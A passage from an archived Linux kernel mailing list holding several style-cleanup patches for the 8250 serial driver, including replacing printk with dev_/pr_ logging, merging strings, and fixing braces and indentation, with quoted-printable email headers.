	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de,
	=?UTF-8?q?Anton=20W=C3=BCrfel?= <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:11:35 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjYk-00051L-4q
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:11:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755491AbcANPLW convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:11:22 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57764 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755092AbcANPIw (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:52 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 8883858C4DF;
	Thu, 14 Jan 2016 16:08:49 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:49 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126820 gmane.linux.serial:21578 gmane.linux.ports.parisc:26408
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126820>

=46rom: Phillip Raffeck <phillip.raffeck@fau.de>

This patch replaces printk by the corresponding variant of dev_* in ord=
er
to fix checkpatch warnings. If no suitable device pointer is present, t=
he
corresponding pr_* variant is used.

Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c  |  5 ++---
 drivers/tty/serial/8250/8250_gsc.c   |  7 ++++---
 drivers/tty/serial/8250/8250_hp300.c | 20 +++++++++++---------
 drivers/tty/serial/8250/8250_port.c  |  3 +--
 4 files changed, 18 insertions(+), 17 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index b60b58b..d6b4906 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -1094,9 +1094,8 @@ static int __init serial8250_init(void)
=20
 	serial8250_isa_init_ports();
=20
-	printk(KERN_INFO "Serial: 8250/16550 driver, "
-		"%d ports, IRQ sharing %sabled\n", nr_uarts,
-		share_irqs ? "en" : "dis");
+	pr_info("Serial: 8250/16550 driver, %d ports, IRQ sharing %sabled\n",
+		nr_uarts, share_irqs ? "en" : "dis");
=20
 #ifdef CONFIG_SPARC
 	ret =3D sunserial_register_minors(&serial8250_reg, UART_NR);
diff --git a/drivers/tty/serial/8250/8250_gsc.c b/drivers/tty/serial/82=
50/8250_gsc.c
index 2e3ea1a..b1e6ae9 100644
--- a/drivers/tty/serial/8250/8250_gsc.c
+++ b/drivers/tty/serial/8250/8250_gsc.c
@@ -42,7 +42,7 @@ static int __init serial_init_chip(struct parisc_devi=
ce *dev)
 		 * the user what they're missing.
 		 */
 		if (parisc_parent(dev)->id.hw_type !=3D HPHW_IOA)
-			printk(KERN_INFO
+			dev_info(&dev->dev,
 				"Serial: device 0x%llx not configured.\n"
 				"Enable support for Wax, Lasi, Asp or Dino.\n",
 				(unsigned long long)dev->hpa.start);
@@ -66,8 +66,9 @@ static int __init serial_init_chip(struct parisc_devi=
ce *dev)
=20
 	err =3D serial8250_register_8250_port(&uart);
 	if (err < 0) {
-		printk(KERN_WARNING
-			"serial8250_register_8250_port returned error %d\n", err);
+		dev_warn(&dev->dev,
+			"serial8250_register_8250_port returned error %d\n",
+			err);
 		iounmap(uart.port.membase);
 		return err;
 	}
diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index cf566bb..38166db 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -110,7 +110,7 @@ int __init hp300_setup_serial_console(void)
 	/* Check for APCI console */
 	if (scode =3D=3D 256) {
 #ifdef CONFIG_HPAPCI
-		printk(KERN_INFO "Serial console is HP APCI 1\n");
+		pr_info("Serial console is HP APCI 1\n");
=20
 		port.uartclk =3D HPAPCI_BAUD_BASE * 16;
 		port.mapbase =3D (FRODO_BASE + FRODO_APCI_OFFSET(1));
@@ -118,7 +118,7 @@ int __init hp300_setup_serial_console(void)
 		port.regshift =3D 2;
 		add_preferred_console("ttyS", port.line, "9600n8");
 #else
-		printk(KERN_WARNING "Serial console is APCI but support is disabled =
(CONFIG_HPAPCI)!\n");
+		pr_warn("Serial console is APCI but support is disabled (CONFIG_HPAP=
CI)!\n");
 		return 0;
 #endif
 	} else {
@@ -127,7 +127,7 @@ int __init hp300_setup_serial_console(void)
 		if (!pa)
 			return 0;
=20
-		printk(KERN_INFO "Serial console is HP DCA at select code %d\n", sco=
de);
+		pr_info("Serial console is HP DCA at select code %d\n", scode);
=20
 		port.uartclk =3D HPDCA_BAUD_BASE * 16;
 		port.mapbase =3D (pa + UART_OFFSET);
@@ -141,13 +141,13 @@ int __init hp300_setup_serial_console(void)
 		if (DIO_ID(pa + DIO_VIRADDRBASE) & 0x80)
 			add_preferred_console("ttyS", port.line, "9600n8");
 #else
-		printk(KERN_WARNING "Serial console is DCA but support is disabled (=
CONFIG_HPDCA)!\n");
+		pr_warn("Serial console is DCA but support is disabled (CONFIG_HPDCA=
)!\n");
 		return 0;
 #endif
 	}
=20
 	if (early_serial_setup(&port) < 0)
-		printk(KERN_WARNING "hp300_setup_serial_console(): early_serial_setu=
p() failed.\n");
+		pr_warn("%s: early_serial_setup() failed.\n", __func__);
 	return 0;
 }
 #endif /* CONFIG_SERIAL_8250_CONSOLE */
@@ -179,8 +179,9 @@ static int hpdca_init_one(struct dio_dev *d,
 	line =3D serial8250_register_8250_port(&uart);
=20
 	if (line < 0) {
-		printk(KERN_NOTICE "8250_hp300: register_serial() DCA scode %d"
-		       " irq %d failed\n", d->scode, uart.port.irq);
+		dev_notice(&d->dev,
+			  "8250_hp300: register_serial() DCA scode %d irq %d failed\n",
+			  d->scode, uart.port.irq);
 		return -ENOMEM;
 	}
=20
@@ -260,8 +261,9 @@ static int __init hp300_8250_init(void)
 		line =3D serial8250_register_8250_port(&uart);
=20
 		if (line < 0) {
-			printk(KERN_NOTICE "8250_hp300: register_serial() APCI"
-			       " %d irq %d failed\n", i, uart.port.irq);
+			dev_notice(uart.port.dev,
+				   "8250_hp300: register_serial() APCI %d irq %d failed\n",
+				   i, uart.port.irq);
 			kfree(port);
 			continue;
 		}
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 5375c24..25fd6b4 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -1222,8 +1222,7 @@ static void autoconfig(struct uart_8250_port *up)
 out_lock:
 	spin_unlock_irqrestore(&port->lock, flags);
 	if (up->capabilities !=3D old_capabilities) {
-		printk(KERN_WARNING
-		       "ttyS%d: detected caps %08x should be %08x\n",
+		pr_warn("ttyS%d: detected caps %08x should be %08x\n",
 		       serial_index(port), old_capabilities,
 		       up->capabilities);
 	}
--=20
1.9.1



From - Thu Nov 08 21:38:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 09/15] tty: serial: 8250: Fix multi-line strings
Date: Thu, 14 Jan 2016 16:08:18 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <1452784104-30840-10-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784326 18798 80.91.229.3 (14 Jan 2016 15:12:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:12:06 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:11:57 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjZ4-0005Gy-9r
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:11:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755508AbcANPLp convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:11:45 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57734 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755047AbcANPIv (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:51 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 6CBFD58C4D8;
	Thu, 14 Jan 2016 16:08:48 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:48 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126821 gmane.linux.serial:21579 gmane.linux.ports.parisc:26409
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126821>

Merged user-visible multi-line strings into a single line according to =
the
Linux Kernel Coding Style, which allows user-visible strings to exceed =
the
maximum line length of 80 characters. The main reason for this is to
facilitate grepping for these strings.
However, some strings were ignored in this patch, because the use of
format specifiers breaks the ability to grep anyway.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 3 +--
 drivers/tty/serial/8250/serial_cs.c | 4 ++--
 2 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index d042ad5..b60b58b 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -1173,8 +1173,7 @@ MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
=20
 module_param(share_irqs, uint, 0644);
-MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50 dev=
ices"
-	" (unsafe)");
+MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50 dev=
ices (unsafe)");
=20
 module_param(nr_uarts, uint, 0644);
 MODULE_PARM_DESC(nr_uarts, "Maximum number of UARTs supported. (1-" __=
MODULE_STRING(CONFIG_SERIAL_8250_NR_UARTS) ")");
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 2b7309d..933c268 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -533,8 +533,8 @@ static int multi_config(struct pcmcia_device *link)
 		info->multi =3D 2;
 		if (pcmcia_loop_config(link, multi_config_check_notpicky,
 				       &base2)) {
-			dev_warn(&link->dev, "no usable port range "
-			       "found, giving up\n");
+			dev_warn(&link->dev,
+				 "no usable port range found, giving up\n");
 			return -ENODEV;
 		}
 	}
--=20
1.9.1



From - Thu Nov 08 21:38:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 08/15] tty: serial: 8250: Add parentheses to macro
Date: Thu, 14 Jan 2016 16:08:17 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <1452784104-30840-9-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784350 19064 80.91.229.3 (14 Jan 2016 15:12:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:12:30 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:12:22 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjZV-0005Wt-8V
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:12:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755531AbcANPMJ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:12:09 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57715 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755011AbcANPIu (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:50 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 4E27058C4D4;
	Thu, 14 Jan 2016 16:08:47 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:47 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126822 gmane.linux.serial:21580 gmane.linux.ports.parisc:26410
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126822>

This patch fixes a checkpatch warning caused by missing parentheses
in the definition of a macro.
=46urthermore redundant parentheses are removed in an assignment.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 2 +-
 drivers/tty/serial/8250/8250_pci.c  | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 15082ae..d042ad5 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -686,7 +686,7 @@ static int __init univ8250_console_init(void)
 }
 console_initcall(univ8250_console_init);
=20
-#define SERIAL8250_CONSOLE	&univ8250_console
+#define SERIAL8250_CONSOLE	(&univ8250_console)
 #else
 #define SERIAL8250_CONSOLE	NULL
 #endif
diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 8543719..fbd4222 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -803,7 +803,7 @@ static int pci_netmos_9900_numports(struct pci_dev =
*dev)
 	unsigned int pi;
 	unsigned short sub_serports;
=20
-	pi =3D (c & 0xff);
+	pi =3D c & 0xff;
=20
 	if (pi =3D=3D 2)
 		return 1;
--=20
1.9.1



From - Thu Nov 08 21:38:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 03/15] tty: serial: 8250: Fix braces after struct
Date: Thu, 14 Jan 2016 16:08:12 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <1452784104-30840-4-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784366 19208 80.91.229.3 (14 Jan 2016 15:12:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:12:46 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:12:43 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjZo-0005iC-Ol
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:12:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755546AbcANPMg convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:12:36 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57708 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753181AbcANPIo (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:44 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 9CED858C4CC;
	Thu, 14 Jan 2016 16:08:41 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:41 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126823 gmane.linux.serial:21581 gmane.linux.ports.parisc:26411
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126823>

This patch fixes a checkpatch warning by moving an opening curly brace
to its correct position.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Reviewed-by: Peter Hurley <peter@hurleysoftware.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_hp300.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 2891958..5e1b464 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -24,8 +24,7 @@
 #endif
=20
 #ifdef CONFIG_HPAPCI
-struct hp300_port
-{
+struct hp300_port {
 	struct hp300_port *next;	/* next port */
 	int line;			/* line (tty) number */
 };
--=20
1.9.1



From - Thu Nov 08 21:38:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 02/15] tty: serial: 8250: Replace spaces with tabs
Date: Thu, 14 Jan 2016 16:08:11 +0100
Lines: 90
Approved: news@gmane.org
Message-ID: <1452784104-30840-3-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784404 20014 80.91.229.3 (14 Jan 2016 15:13:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:13:24 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:13:21 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjaT-0006CQ-7B
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:13:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755557AbcANPMx convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:12:53 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57691 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754739AbcANPIn (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:43 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 858E758C4CA;
	Thu, 14 Jan 2016 16:08:40 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:40 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126824 gmane.linux.serial:21582 gmane.linux.ports.parisc:26412
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126824>

Indentation is changed to match the correct format of using tabs instea=
d
of spaces wherever possible.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Reviewed-by: Peter Hurley <peter@hurleysoftware.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c  | 12 ++++++------
 drivers/tty/serial/8250/8250_port.c |  4 ++--
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index ecd5a32..534ca18 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -721,7 +721,7 @@ static int pci_ni8430_init(struct pci_dev *dev)
 	 */
 	pcibios_resource_to_bus(dev->bus, &region, &dev->resource[bar]);
 	device_window =3D ((region.start + MITE_IOWBSR1_WIN_OFFSET) & 0xfffff=
f00)
-	                | MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
+			| MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
 	writel(device_window, p + MITE_IOWBSR1);
=20
 	/* Set window access to go to RAMSEL IO address space */
@@ -1763,7 +1763,7 @@ xr17v35x_has_slave(struct serial_private *priv)
 	const int dev_id =3D priv->dev->device;
=20
 	return ((dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V4358) ||
-	        (dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
